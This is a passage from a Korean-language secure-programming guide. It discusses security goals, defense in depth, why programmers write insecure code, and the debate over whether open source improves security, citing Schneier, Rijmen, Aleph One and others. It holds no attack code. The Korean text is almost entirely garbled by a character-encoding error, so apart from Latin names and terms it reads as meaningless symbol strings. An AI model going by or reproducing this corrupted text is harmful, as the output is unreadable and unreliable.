ÇÊ¿ä·Î Çϴµ¥ ÀÌ´Â ¶§¶§·Î º°°³ÀÇ ¸ñÀûÀ¸·Î ¿­°ÅµÈ´Ù. Á¾Á¾ °¨»ç (auditing, ¶ÇÇÑ È¸°è Ã¥ÀÓ accountability À̶ó°íµµ ºÎ¸¥´Ù) µµ ÇÕ´çÇÑ º¸¾È ¸ñÀûÀ¸·Î ºÐ°£µÈ´Ù. ¶§¶§·Î Á¢±Ù Á¦¾î (access control) ¹× ½Å·Ú¼º (authenticity) µµ ¶ÇÇÑ º°µµ·Î ¿­°ÅµÈ´Ù. ¸ðµç °æ¿ì¿¡ ÀÖ¾î ÀÌ·¯ÇÑ ¸ñÀûµéÀ» ¾î¶»°Ô Á¾ÇÕÇÏ´À³Ä¿¡ »ó°ü¾øÀÌ À̵éÀ» ¾ðÁ¦ ÃæÁ·½ÃÄÑ¾ß ÇÏ´ÂÁö ¾Ë ¼öÀÖµµ·Ï ÇÁ·Î±×·¥ÀÇ Àü¹ÝÀûÀÎ ¸ñÀûÀ» È®ÀÎÇÏ´Â °ÍÀÌ Áß¿äÇÏ´Ù.

¶§¶§·Î ÀÌ·¯ÇÑ ¸ñÀûµéÀº ¾Ë·ÁÁø ÀÏ·ÃÀÇ À§Çù¿¡ ´ëÇÑ ¹ÝÀÀÀ¸·Î ¶§¶§·Î ÀÌ·¯ÇÑ ¸ñÀûµéÁß ÀϺδ ¹ý¿¡ ÀÇÇØ ¿ä±¸µÈ´Ù. ¿¹¸¦ µé¾î ¹Ì±¹ÀÇ ÀºÇàµé ¹× ´Ù¸¥ ±ÝÀ¶ ±â°üµé¿¡ ´ëÇØ¼­´Â ``Gramm-Leach-Bliley (GLB)'' ¹ý·ÉÀ̶ó ºÒ¸®´Â »õ·Î¿î ÇÁ¶óÀ̹ö½Ã ¹ýÀÌ ÀÖ´Ù. ÀÌ ¹ýÀº °øÀ¯µÇ´Â °³ÀÎ Á¤º¸ÀÇ ¹ßÇ¥¿Í ±× µ¥ÀÌŸ¸¦ ¾ÈÀüÇÏ°Ô ÇÏ´Â ¹æ¹ýÀ» ¸íÇϰí Á¦»ïÀÚ¿¡ ÀÇÇØ °øÀ¯µÉ °³ÀÎ Á¤º¸ÀÇ ¹ßÇ¥¸¦ ¿ä±¸ÇÏ¸ç ±â°üµéÀÌ °í°´µé¿¡°Ô °øÀ¯µÇ´Â µ¥ÀÌŸ¸¦ ¼±ÅÃÇÒ ±âȸ¸¦ ÁÖµµ·Ï Á¤Çϰí ÀÖ´Ù [Jones 2000].

¶§¶§·Î º¸¾È°ú ¾î¶² ´Ù¸¥ ÀϹÝÀûÀÎ ½Ã½ºÅÛ/¼ÒÇÁÆ®¿þ¾î ¿£Áö´Ï¾î¸µ ¿ø¸®µé°£¿¡´Â ºÒÀÏÄ¡°¡ ÀÖ´Ù. º¸¾ÈÀº ¶§¶§·Î ``¼Õ½¬¿î »ç¿ë"À» ¹æÇØÇÒ ¼ö Àִµ¥ ¿¹¸¦ µé¾î º¸¾ÈÀûÀÎ ¼³Á¤À» ¼³Ä¡ÇÏ´Â °ÍÀº ÀÛµ¿ÇÏÁö¸¸ ºñº¸¾ÈÀûÀÎ ``Æò¹üÇÑ" ¼³Á¤º¸´Ù ´õ¿í ¸¹Àº ³ë·ÂÀÌ µé ¼öµµ ÀÖ´Ù. Á¾Á¾ ÀÌ ¸í¹éÇÑ ºÒÀÏÄ¡´Â ÇØ°áµÉ ¼ö Àִµ¥ ¿¹¸¦ µé¾î ¹®Á¦¸¦ ´Ù½Ã »ý°¢ÇÔÀ¸·Î½á º¸¾ÈÀûÀÎ ½Ã½ºÅÛÀ» ¶ÇÇÑ »ç¿ëÇϱ⠽±°Ô ¸¸µå´Â °ÍÀº ´ë°³ °¡´ÉÇÏ´Ù. ¶ÇÇÑ º¸¾È°ú Ãß»óÈ­ (Á¤º¸ ¼û±â±â) °£¿¡µµ ºÒÀÏÄ¡°¡ Àִµ¥ ¿¹¸¦ µé¾î ¾î¶² °í¼öÁØ ¶óÀ̺귯¸® ·çƾµéÀÌ º¸¾ÈÀûÀ¸·Î ¶Ç´Â ºñº¸¾ÈÀûÀ¸·Î ±¸ÇöµÉ ¼öµµ ÀÖÁö¸¸ ±×µéÀÇ ¼³°è ½ºÆåÀº ¹«¾ùÀ̶ó°í ¸»ÇØÁÖÁö ¸øÇÒ °ÍÀÌ´Ù. °á±¹ ¾ÖÇÃÀÌÄÉÀ̼ÇÀÌ º¸¾ÈÀûÀÌ¿©¾ß ÇÑ´Ù¸é ±×·¸´Ù°í È®½ÅÇÒ ¼ö ¾ø´Â °æ¿ì ¹Ýµå½Ã ½º½º·Î À̸¦ º¸¾ÈÀûÀ¸·Î ¸¸µé¾î¾ß ÇÑ´Ù - ¹°·Ð ¸Â´Ù. ¶óÀ̺귯¸®´Â ¼öÁ¤µÇ¾î¾ß ÇÏ¸ç ¶óÀ̺귯¸® ·çƾÀ» À߸ø ¼±ÅÃÇÔÀ¸·Î½á ¼ÕÇØ¸¦ ÀÔÀ» »ç¶÷µéÀº ¹Ù·Î »ç¿ëÀÚµéÀÌ´Ù.

ÈǸ¢ÇÑ ÀϹÝÀûÀÎ º¸¾È ¿ø¸®´Â ``öÀúÇÑ ¹æ¾î (defense in depth)"ÀÌ´Ù; Àû¼Ò¿¡ ¸Å¿ì ¸¹Àº º¸È£ ¸ÞÄ«´ÏÁòµé (``°èÃþ, layers") µéÀ» °¡Á®¾ß ÇÏ¸ç µû¶ó¼­ °ø°ÝÀÚ°¡ ¼º°øÀûÀÎ °ø°ÝÀ» ¼öÇàÇϱâ À§ÇØ ´Ù¼öÀÇ ¸ÞÄ«´ÏÁòÀ» ¹«³Ê¶ß·Á¾ß Çϵµ·Ï ¼³°èµÇ¾î¾ß ÇÑ´Ù.


2.3. ÇÁ·Î±×·¡¸ÓµéÀº ¿Ö ºñº¸¾ÈÀûÀÎ Äڵ带 ÀÛ¼ºÇϴ°¡

¸¹Àº ÇÁ·Î±×·¡¸ÓµéÀÌ ºñº¸¾ÈÀûÀÎ Äڵ带 ÀÛ¼ºÇÏ·Á°í ÇÏÁö´Â ¾Ê´Â´Ù - ±×·¯³ª ¾î·µç ÀÛ¼ºÇÑ´Ù. ´ÙÀ½Àº ÀÌ¿¡ ´ëÇÑ ¸¹Àº ÀÌÀ¯µéÀÌ´Ù. À̵éÁß ´ëºÎºÐÀº 1998³â 12¿ù 17ÀÏ Bugtraq ¿¡ °Ô½ÃÇÑ Aleph One ¿¡ ÀÇÇØ ¼öÁý ¹× ¿ä¾àµÈ °ÍÀÌ´Ù.

  • ´ëºÎºÐÀÇ Çб³¿¡¼­ ÄÄÇ»ÅÍ º¸¾È¿¡ ´ëÇØ ¸»ÇÏ´Â ±³°ú °úÁ¤Àº ¾ø´Ù. ÀÖ´Ù ÇÏ´õ¶óµµ ÄÄÇ»ÅÍ º¸¾È ±³°ú °úÁ¤Àº ´ë°³ ÀüüÀûÀ¸·Î º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ´Â ¹æ¹ýÀ» ³íÀÇÇϰí ÀÖÁö ¾Ê´Ù. ¸¹Àº ±³°ú °úÁ¤Àº ´ÜÁö ¾ÏÈ£ÇÐ ¶Ç´Â ÇÁ·ÎÅäÄݰú °°Àº ƯÁ¤ ¿µ¿ª¸¸À» ´Ù·ç°í ÀÖ´Ù. À̵鵵 Áß¿äÇÏÁö¸¸ ¹öÆÛ ¿À¹öÇ÷οì, ¹®ÀÚ¿­ Æ÷¸ËÆÃ ¹× ÀÔ·Â °Ë»ç¿Í °°Àº °øÅëÀûÀÎ ½Ç¼¼°èÀÇ ¹®Á¦¸¦ ´ë°³ ³íÀÇÇÏÁö ¸øÇϰí ÀÖ´Ù. ÀúÀÚ´Â À̰ÍÀÌ °¡Àå Áß¿äÇÑ ¹®Á¦µéÁß Çϳª¶ó°í ¹Ï´Â´Ù; ´ëÇб³¸¦ ¸¶Ä£ ÇÁ·Î±×·¡¸ÓµéÀÌ¶óµµ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ÀÛ¼º ¹æ¹ýÀ» ¹è¿ï °Í °°Áö´Â ¾ÊÀ¸¸ç ´õ±¸³ª ¿ì¸®´Â º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇϴµ¥ ÀÖ¾î ÀÌ·¯ÇÑ »ç¶÷µé¿¡°Ô ÀÇÁ¸Çϰí ÀÖ´Ù.

  • ÇÁ·Î±×·¡¹Ö Ã¥/Ŭ·¡½º°¡ º¸¾ÈÀûÀÎ/¾ÈÀüÇÑ ÇÁ·Î±×·¡¹Ö ±â¹ýÀ» °¡¸£Ä¡Áö ¾Ê°í ÀÖ´Ù. Á¤¸»·Î ÃÖ±Ù±îÁö º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ÀÛ¼º ¹æ¹ý¿¡ ´ëÇÑ Ã¥Àº ÀüÇô ¾ø¾ú´Ù.

  • ¾î´À ´©±¸µµ Çй®ÀûÀÎ ÀÔÁõ ¹æ¹ýÀ» »ç¿ëÇÏÁö ¾Ê´Â´Ù.

  • C ´Â ºÒ¾ÈÀüÇÑ ¾ð¾îÀ̸ç Ç¥ÁØ C ¶óÀ̺귯¸® ¹®ÀÚ¿­ ÇÔ¼öµµ ºÒ¾ÈÀüÇÏ´Ù.

  • ÀÌ´Â C °¡ ³Î¸® »ç¿ëµÇ°í Àֱ⶧¹®¿¡ ƯÈ÷ Áß¿äÇÏ´Ù - C ¸¦ »ç¿ëÇÏ´Â °£´ÜÇÑ ¹æ½ÄÀº À§ÇèÇÑ ¾Ç¿ëÀ» Çã¿ëÇÑ´Ù.

  • ÇÁ·Î±×·¡¸Ó°¡ ``´Ù¼öÀÇ »ç¿ëÀÚ"¸¦ »ý°¢ÇÏÁö ¾Ê´Â´Ù.

  • ÇÁ·Î±×·¡¸Ó´Â Àΰ£À̸ç Àΰ£Àº °ÔÀ¸¸£´Ù. µû¶ó¼­ ÇÁ·Î±×·¡¸Ó´Â º¸¾ÈÀûÀÎ ¹æ¹ý ´ë½Å ``½¬¿î" ¹æ¹ýÀ» ´ë°³ »ç¿ëÇÒ °ÍÀÌ´Ù - ÀÏ´Ü ÀÛµ¿ÇÑ´Ù¸é ´ë°³ À̸¦ ÃßÈÄ¿¡ ¼öÁ¤ÇÏÁö ¾Ê´Â´Ù.

  • ´ëºÎºÐÀÇ ÇÁ·Î±×·¡¸ÓµéÀº °áÄÚ ÈǸ¢ÇÑ ÇÁ·Î±×·¡¸Ó°¡ ¾Æ´Ï´Ù.

  • ´ëºÎºÐÀÇ ÇÁ·Î±×·¡¸ÓµéÀº º¸¾È ÀηÂÀÌ ¾Æ´Ï´Ù; À̵éÀº Á°ÄÚ °ø°ÝÀÚ¸¸Å­ »ý°¢À» ÇÏÁö ¾Ê´Â´Ù.

  • ´ëºÎºÐÀÇ º¸¾È ÀηÂÀº ÇÁ·Î±×·¡¸Ó°¡ ¾Æ´Ï´Ù. ÀÌ´Â ¸î¸î Bugtraq ±â¿©ÀÚµéÀÇ Áø¼úÀÌÁö¸¸ ÀÌ ÁÖÀåÀÌ ½ÇÁ¦ ¿ÇÀº Áö´Â ¸íÈ®ÇÏÁö ¾Ê´Ù.

  • ´ëºÎºÐÀÇ ÄÄÇ»ÅÍ º¸¾È ¸ðµ¨Àº ¾öÇÏ´Ù.

  • ¸¹Àº ``ÆÄ±«µÈ" ·¹°Å½Ã ¼ÒÇÁÆ®¿þ¾îµéÀÌ ÀÖ´Ù. (º¸¾È °áÇÔÀ» Á¦°ÅÇϰųª ´õ¿í Á¦ÇÑÀûÀÎ º¸¾È Á¤Ã¥°ú ÇÔ²² »ç¿ëÇϱâ À§ÇØ) ÀÌ ¼ÒÇÁÆ®¿þ¾î¸¦ ¼öÁ¤ÇÏ´Â °ÍÀº ¾î·Æ´Ù

  • ¼ÒºñÀÚµéÀº º¸¾È¿¡ °ü½ÉÀÌ ¾ø´Ù. ÀúÀÚ´Â ¼ÒºñÀÚµéÀÌ º¸¾È¿¡ °ü½ÉÀ» °®±â¸¦ Èñ¸ÁÇÑ´Ù; Áö¼ÓÀûÀ¸·Î ¾Ç¿ëµÇ°í ÀÖ´Â ÄÄÇ»ÅÍ ½Ã½ºÅÛÀº µµ¿òÀÌ µÇÁö ¾Ê°Å³ª »ç¿ëÇϱ⠽±Áö ¾Ê´Ù.

  • º¸¾È ºñ¿ë°ú ¿©ºÐÀÇ °³¹ß ½Ã°£.

  • Ãß°¡ÀûÀÎ Å×½ºÆ® °üÁ¡¿¡¼­ º¸¾È ºñ¿ë.


2.4. ¿ÀÇ ¼Ò½º°¡ º¸¾È¿¡ À¯¸®ÇѰ¡?

º¸¾È¿¡ ´ëÇÑ ¿ÀÇ ¼Ò½º ¹æ¹ýÀÇ ¿µÇâ¿¡ °üÇØ¼­´Â º¸¾È Àü¹®°¡µé¿¡ ÀÇÇØ ¸¹Àº ³íÀǰ¡ ÀÖ¾î¿Ô´Ù. ÁÖ¿ä ÀïÁ¡µéÁßÀÇ Çϳª´Â ¿ÀÇ ¼Ò½º°¡ °ø°ÝÀÚ¿Í ¹æ¾îÀÚ¸¦ Æ÷ÇÔÇØ ¸ðµç »ç¶÷ÀÌ °ËÅäÇÒ ¼ö ÀÖ°Ô²û ¼Ò½º Äڵ带 µå·¯³½´Ù´Â °ÍÀ¸·Î ºÐº°ÀÖ´Â »ç¶÷µéÀº ÀÌ »óȲÀÇ ±Ã±ØÀûÀÎ ¿µÇâ¿¡ °üÇØ ÀÌÀǸ¦ °®°í ÀÖ´Ù.

´ÙÀ½Àº ÀÌ ÁÖÁ¦¸¦ °íÂûÇØ¿Ô´ø »ç¶÷µé·ÎºÎÅÍ ¾à°£ ÀοëÇÑ °ÍÀÌ´Ù. Bruce Schneier Àº Çö¸íÇÑ ¿£Áö´Ï¾îµéÀº ``º¸¾È°ú °ü·ÃµÈ ¸ðµç °ÍÀ» À§ÇØ ¿ÀÇ ¼Ò½º Äڵ带 ¿ä±¸"ÇØ¾ß ÇÑ´Ù°í ÁÖÀåÇϸç [Schneier 1999] ¶ÇÇÑ ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î¸¦ º¸¾ÈÀûÀ¸·Î ¸¸µé±â À§ÇØ ÃæÁ·µÇ¾î¾ß ÇÏ´Â Çʼö Á¶°ÇµéÀÇ ÀϺθ¦ ³íÀÇÇϰí ÀÖ´Ù. Advanced Encryption Standard (AES) ¾Ïȣȭ ¾Ë°í¸®µë °³¹ßÀÚÀÎ Vincent Rijmen Àº ¸®´ª½ºÀÇ ¿ÀÇ ¼Ò½º º»ÁúÀÌ ´õ¿í ¸¹Àº »ç¶÷µéÀÌ º¸¾È Ãë¾à¼º (vulnerability) À» Á¶»çÇÒ ¼ö ÀÖÀ»»Ó¸¸ ¾Æ´Ï¶ó ´õ¿í Áß¿äÇÏ°Ô ¸ðµ¨ÀÌ »ç¶÷µé¿¡°Ô ´õ¿í ºÐ¸íÇÑ ÄÚµåÀÇ ÀÛ¼º°ú Ç¥ÁØÀ» °í¼öÇϰԲû Çϱ⠶§¹®¿¡ À̵éÀÇ ¹ß°ß ¹× ¼öÁ¤À» ´õ¿í ½±°Ô ¸¸µå´Â ¿ì¼öÇÑ ¹æ¹ýÀ» Á¦°øÇÑ´Ù°í ¹Ï°í ÀÖ´Ù. µû¶ó¼­ ÀÌ´Â º¸¾È °ËÅ並 ¼Õ½±°Ô ÇÑ´Ù [Rijmen 2000]. Elias Levy (Aleph1) Àº ±â»ç Is Open Source Really More Secure that Closed? ¿¡¼­ ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î¸¦ º¸¾ÈÀûÀ¸·Î ¸¸µå´Âµ¥ ÀÖ¾î ¹®Á¦Á¡µéÀÇ ÀϺθ¦ ³íÀÇÇϰí Àִµ¥ ±×ÀÇ ¿ä¾àÀº ´ÙÀ½°ú °°´Ù:

±×·¡¼­ ¸ðµç À̰ÍÀÌ ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î°¡ º¸¾È¿¡ Ãë¾àÇÏ°Ô µÉ ¶§ ºñ°ø°³ ¼Ò½º ¼ÒÇÁÆ®¿þ¾îº¸´Ù ÁÁÁö ¾Ê´Ù´Â °ÍÀ» ÀǹÌÇϴ°¡? ±×·¸Áö ¾Ê´Ù. ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î´Â Ʋ¸²¾øÀÌ ÀÌ¿¡ ´ëÀÀµÇ´Â ºñ°ø°³ ¼Ò½º ¼ÒÇÁÆ®¿þ¾îº¸´Ù ´õ¿í º¸¾ÈÀûÀ¸·Î µÉ °¡´É¼ºÀ» °®°í ÀÖ´Ù. ±×·¯³ª ¿ÀÇØÇÏÁö ¸¶¶ó ´Ü¼øÈ÷ ¿ÀÇ ¼Ò½º¶ó°íÇØ¼­ º¸¾ÈÀ» º¸ÁõÇÏÁö´Â ¾Ê´Â´Ù.

John Viega ÀÇ ±â»ç The Myth of Open Source Security µµ ¶ÇÇÑ ÀÌ ÀïÁ¡À» ³íÀÇÇϰí Àִµ¥ ´ÙÀ½ ¹æ½ÄÀ¸·Î ¿ä¾àµÈ´Ù:

¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î ÇÁ·ÎÁ§Æ®´Â ºñ°ø°³ ¼Ò½º ÇÁ·ÎÁ§Æ®º¸´Ù ´õ¿í º¸¾ÈÀûÀ¸·Î µÉ ¼ö ÀÖ´Ù. ±×·¯³ª ¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥À» º¸¾ÈÀûÀ¸·Î ¸¸µå´Â ¹Ù·Î ±×°Í, Áï ¼Ò½º ÄÚµåÀÇ °¡¿ë¼º°ú ¸¹Àº ¼öÀÇ »ç¿ëÀÚµéÀÌ º¸¾È ±¸¸ÛÀ» ã¾Æ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù´Â »ç½ÇÀÌ »ç¶÷µé·Î ÇÏ¿©±Ý º¸¾È¿¡ ´ëÇØ À߸øµÈ ÀνÄÀ» °®°Ô ÇÒ ¼ö ÀÖ´Ù.

Michael H. Warfield ÀÇ Musings on open source security ´Â º¸¾È¿¡ ´ëÇÑ ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾îÀÇ ¿µÇâ¿¡ ´ëÇØ ´õ¿í ´õ ±àÁ¤ÀûÀÌ´Ù. Fred Schneider ´Â ¿ÀÇ ¼Ò½º Äڵ带 °Ë»çÇÏ´Â ¸¹Àº »ç¶÷µéÀÌ ½Ã½ºÅÛ º¸¾ÈÀ» ¼Õ»ó½Ãų ¼ö ÀÖ´Â ¹ö±×µéÀ» ½Äº°Çϴµ¥ ¼º°øÇÒ °ÍÀ̶ó°í ¹ÏÀ» ÀÌÀ¯°¡ ¾ø´Ù°í ¸»Çϸç ``Äڵ峻ÀÇ ¹ö±×µéÀÌ Áö¹èÀûÀÎ °ø°Ý ¹æ¹ýÀº ¾Æ´Ï´Ù"¶ó°í ÁÖÀåÇϸ鼭 ¿ÀÇ ¼Ò½º°¡ º¸¾È¿¡ µµ¿òÀÌ µÇÁö ¾Ê´Â´Ù°í ¹Ï°í ÀÖ´Ù [Schneider 2000]. ±×´Â ¶ÇÇÑ ¿ÀÇ ¼Ò½º´Â ±¸Ãà °úÁ¤ÀÇ Á¦¾î¸¦ ¹èÁ¦ÇÑ´Ù°í ÁÖÀåÇϰí Àִµ¥ ±×·¯³ª ¸ðµç ÁÖ¿ä ¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥µéÀÌ ¸í¼ºÀÖ´Â ``¼ÒÀ¯ÀÚ" ÀÇ Çϳª ¶Ç´Â ¾à°£ÀÇ °ø½Ä ¹öÀüÀ» °®°í ÀÖµíÀÌ ¿ÀÇ ¼Ò½ºÀÇ ½ÇÁ¦ ±¸Ãà °úÁ¤¿¡´Â Á¦¾î°¡ ÀÖ´Ù . Peter G. Neumann Àº ``¿ÀÇ ¹Ú½º ¼ÒÇÁÆ®¿þ¾î (¾Æ¸¶µµ ´ÜÁö ¾î¶² Á¶°ÇÇÏ¿¡¼­¸¸ ¼Ò½º Äڵ带 ¾òÀ» ¼ö ÀÖ´Â) °¡ ½ÇÁ¦·Î ½Ã½ºÅÛ º¸¾ÈÀ» Çâ»ó½Ãų °ÍÀΰ¡? ³ªÀÇ ´äÀº °¡´É¼ºÀÌ °í·ÁµÉ ¼ö ÀÖÀ½¿¡µµ ºÒ±¸ÇÏ°í ¹Ù·Î ±×°Í¿¡ ÀÇÇÑ °ÍÀº ¾Æ´Ï´Ù"¶ó°í ¸»Çϸ鼭 À̸¦ ³íÀÇÇϰí ÀÖ´Ù [Neumann 2000]. TruSecure Corporation Àº ¿ÀÇ ¼Ò½º ȸ»çÀÎ ·¹µåÇÞÀÇ ÈÄ¿øÇÏ¿¡ ¿Ö ±×µéÀÌ ¿ÀÇ ¼Ò½º°¡ º¸¾È¿¡ ´õ¿í È¿°úÀûÀ̶ó°í ¹Ï´ÂÁö¿¡ ´ëÇÑ ³í¹®À» ÀÛ¼ºÇÏ¿´´Ù. Natalie Walker Whitlock's IBM DeveloperWorks article ´Â ¶ÇÇÑ Âù¹Ý ¾ç·ÐÀ» ³íÀÇÇϰí ÀÖ´Ù. Brian Witten, Carl Landwehr °ú Caloyannides [Witten 2001] Àº ¼Ò½º Äڵ带 »ç¿ë°¡´ÉÇÏ°Ô ÇÏ´Â °ÍÀº ½Ã½ºÅÛ º¸¾È¿¡ À¯¸®ÇÏ°Ô ÀÛµ¿ÇÑ´Ù°í ÀáÁ¤ÀûÀ¸·Î °á·ÐÁöÀº ±â»ç¸¦ IEEE ¼ÒÇÁÆ®¿þ¾î¿¡ ¹ßÇ¥ÇÏ¿´´Ù; ±×µéÀº ´ÙÀ½°ú °°ÀÌ ¾ð±ÞÇÑ´Ù:

¿ì¸®´Â ÀÌ ³íÀÇ·Î ºÎÅÍ ³× °¡Áö Ãß°¡ÀûÀÎ °á·ÐÀ» À̲ø¾î ³¾ ¼ö ÀÖ´Ù. ù¹øÂ° ¼Ò½º Äڵ忡 ´ëÇÑ Á¢±ÙÀº »ç¿ëÀÚµé·Î ÇÏ¿©±Ý ½Ã½ºÅÛ º¸¾ÈÀ» Çâ»ó½Ã۵µ·Ï ÇÑ´Ù -- »ç¿ëÀÚµéÀÌ Çâ»ó½Ãų ´É·Â°ú ÀÚ¿øÀ» °®°í ÀÖ´Ù¸é. µÎ¹øÂ° ¾î¶² °æ¿ì¿¡ ÀÖ¾î ¿ÀÇ ¼Ò½º »ý¸í ÁֱⰡ ¾ÇÀÇÀûÀÌÁö ¾ÊÀº °áÇÔ¿¡ ´ëÇØ ´ú Ãë¾àÇÑ ½Ã½ºÅÛÀ» ¸¸µé¾î³¿À» Á¦ÇÑµÈ Å×½ºÆ®°¡ ³ªÅ¸³»°í ÀÖ´Ù. ¼¼¹øÂ° ¼¼°¡Áö ¿î¿µ üÁ¦¿¡ ´ëÇÑ Á¶»ç´Â ÇѰ¡Áö ¿ÀÇ ¼Ò½º ¿î¿µ üÁ¦°¡ 12°³¿ù¿¡ °ÉÃÄ ¾Ë·ÁÁ³Áö¸¸ ÆÐÄ¡µÇÁö ¾ÊÀº Ãë¾à¼ºÀÇ ÇüÅ¿¡ µÎ°¡Áö ¼ÒÀ¯±ÇÀÌ ÀÖ´Â ¿î¿µ üÁ¦°¡ °æÇèÇÑ °Íº¸´Ù ´õ¿í ÀûÀº ³ëÃâÀ» °æÇèÇÏ¿´´Ù. ¸¶Áö¸·À¸·Î ºñ°ø°³ ¼ÒÀ¯±ÇÀÌ ÀÖ´Â ½Ã½ºÅÛ °³¹ß ¸ðµ¨Àº ´ú º¸¾ÈÀûÀÎ ½Ã½ºÅÛÀÌ ´õ¿í ÀÌÀÍÀÌ µÇÁö ¾Ê´Â ÇÑ ´õ¿í º¸¾ÈÀûÀÎ ½Ã½ºÅÛÀ» ¹èÄ¡Çϰí Áö¿øÇÏ´Â °Í¿¡ ´ëÇØ ¹æÇØ¿¡ Á÷¸éÇØ ÀÖ´Ù. ÀÌ·¯ÇÑ °á·Ð¿¡µµ ºÒ±¸Çϰí ÀÌ Áß¿äÇÑ ¹®Á¦¿¡ ´ëÇÑ ³íÀÇ´Â ¹ß´Þ ´Ü°è¿¡ ÀÖÀ¸¸ç °í°´¿¡°Ô ³Ñ°ÜÁö´Â º¸¾ÈÀ» ¹Ý¿µÇÒ ¼ö ÀÖ´Â metrics (ÃøÁ¤ ±âÁØ) ¸¦ Àý½ÇÈ÷ ÇÊ¿ä·Î Çϰí ÀÖ´Ù.

¶§¶§·Î Á¸ÀçÇÏÁö¸¸ ¾Ë·ÁÁöÁö ¾ÊÀº Ãë¾à¼ºÀº ¾Ç¿ëµÉ ¼ö ¾øÀ¸¸ç ±×·¡¼­ ½Ã½ºÅÛÀº ½ÇÁ¦·Î º¸¾ÈÀûÀÓÀÌ Æ¯È÷ ¾ð±ÞµÇ°í ÀÖ´Ù. À̷лó ÀÌ´Â ¿ÇÁö¸¸ ¹®Á¦´Â ÀÏ´Ü ´©±º°¡°¡ Ãë¾à¼ºÀ» ¹ß°ßÇÑ´Ù¸é ¹ß°ßÀÚ°¡ ÀÌÀÇ ¼öÁ¤À» µ½´Â ´ë½Å ´ÜÁö Ãë¾à¼ºÀ» ¾Ç¿ëÇÒ ¼öµµ ÀÖ´Ù´Â °ÍÀÌ´Ù. µû¶ó¼­ Ãë¾à¼ºÀÌ ¾Ë·ÁÁöÁö ¾Ê¾Ò´Ù°í ÇØ¼­ ½ÇÁ¦·Î Ãë¾à¼ºÀÌ ¾ø¾îÁö´Â °ÍÀº ¾Æ´Ï´Ù; ÀÌ´Â ´Ü¼øÈ÷ Ãë¾à¼ºÀÌ ¾ðÁ¦µç ¾Ç¿ëµÉ ¼ö ÀÖ´Â ½ÃÇÑ ÆøÅºÀÓÀ» ÀǹÌÇÑ´Ù. ±Ùº»ÀûÀ¸·Î ´©±º°¡ ÀÚ½ÅÀÌ ¹ß°ßÇÑ Ãë¾à¼ºÀ» ¾Ç¿ëÇÏ´Â ¹®Á¦´Â ¿ÀÇ ¹× ºñ°ø°³ ¼Ò½º ½Ã½ºÅÛ ¸ðµÎ¿¡ ´ëÇÑ ¹®Á¦ÀÌ´Ù. ¼Ò½º Äڵ尡 ¾ø´Â ½Ã½ºÅÛÀÌ ÀÌ·¯ÇÑ Àǹ̿¡¼­ ´õ¿í º¸¾ÈÀûÀÌ´Ù°í ³íÀÇµÇ¾î ¿Ô´Âµ¥ ÀÌ´Â °ø°ÝÀÚ°¡ ¾òÀ» ¼ö ÀÖ´Â Á¤º¸°¡ Àû±â ¶§¹®¿¡ °ø°ÝÀÚ°¡ Ãë¾à¼ºÀ» ¹ß°ßÇÏ´Â °ÍÀº ´õ¿í ¾î·Á¿ï °ÍÀÌ´Ù. ÀÌ¿¡ ´ëÀÀµÇ´Â ³íÀÇ´Â °ø°ÝÀÚ´Â ÀϹÝÀûÀ¸·Î ¼Ò½º Äڵ带 ÇÊ¿ä·Î ÇÏÁö ¾ÊÀ¸¸ç ±×µéÀÌ ¼Ò½º Äڵ带 »ç¿ëÇÏ±æ ¿øÇÑ´Ù¸é ¼ÒÇÁÆ®¿þ¾îÀÇ ¼Ò½º¸¦ Àç»ý¼ºÇϱâ À§ÇØ µð¼Àºí·¯¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ºñ°ø°³ Äڵ尡 º¸¾È Ãë¾à¼º¿¡ ´ëÇØ ¾î¶»°Ô Á¶»çµÉ ¼ö Àִ°¡¿¡ ´ëÇÑ ÇѰ¡Áö ³íÀÇ¿¡ ´ëÇØ¼­´Â Flake [2001] À» º¸¶ó. ¹Ý´ë·Î ¹æ¾îÀÚ´Â ¼Ò½º Äڵ尡 ¾ø´Ù¸é º¸Åë ¹®Á¦¸¦ ãÁö ¸øÇÒ °ÍÀÌ¸ç µû¶ó¼­ ¼Ò½º Äڵ尡 ¾ø´Ù´Â °ÍÀº °ø°ÝÀÚ¿Í ºñ±³ÇØ ¹æ¾îÀÚ¸¦ ºÒ¸®ÇÑ Ã³Áö¿¡ ³õÀÌ°Ô ÇÑ´Ù.

¶§¶§·Î ¿ä±¸µÇ´Â ÇѰ¡Áö´Â »ç¶÷µéÀÌ Ãë¾à¼º¿¡ ´ëÇÑ °æ°í¸¦ °øÇ¥ÇÏ¿© À̸¦ ³íÀÇÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. ÀÌ´Â À̷лó ÁÁ°Ô º¸ÀÌÁö¸¸ ¹®Á¦´Â °ø°ÝÀÚ°¡ ÀÌ¹Ì ¸¹Àº ä³ÎÀ» ÅëÇØ Ãë¾à¼º¿¡ ´ëÇÑ Á¤º¸¸¦ À¯Æ÷ÇÑ´Ù´Â °ÍÀÌ´Ù. ¿ä¾àÇϸé ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýÀº ¹æ¾îÀÚ¸¦ °ø°Ý´çÇϱ⠽±°Ô ¸¸µå´Â ¹Ý¸é °ø°ÝÀÚ¸¦ ÀúÁöÇϱâ À§ÇØ ÇÒ ¼ö ÀÖ´Â ÀÏÀº ¾ø´Ù. °ú°Å¿¡ ȸ»çµéÀº Ãë¾à¼º ¹ßÇ¥¸¦ Àû±ØÀûÀ¸·Î ¹æÇØÇÏ·Á°í ÇßÁö¸¸ ÀϹÝÀûÀ¸·Î Ãë¾à¼ºÀÌ (Ãë¾à¼ºÀÌ ¼öÁ¤µÇ¾î¾ß ÇÑ´Ù°í 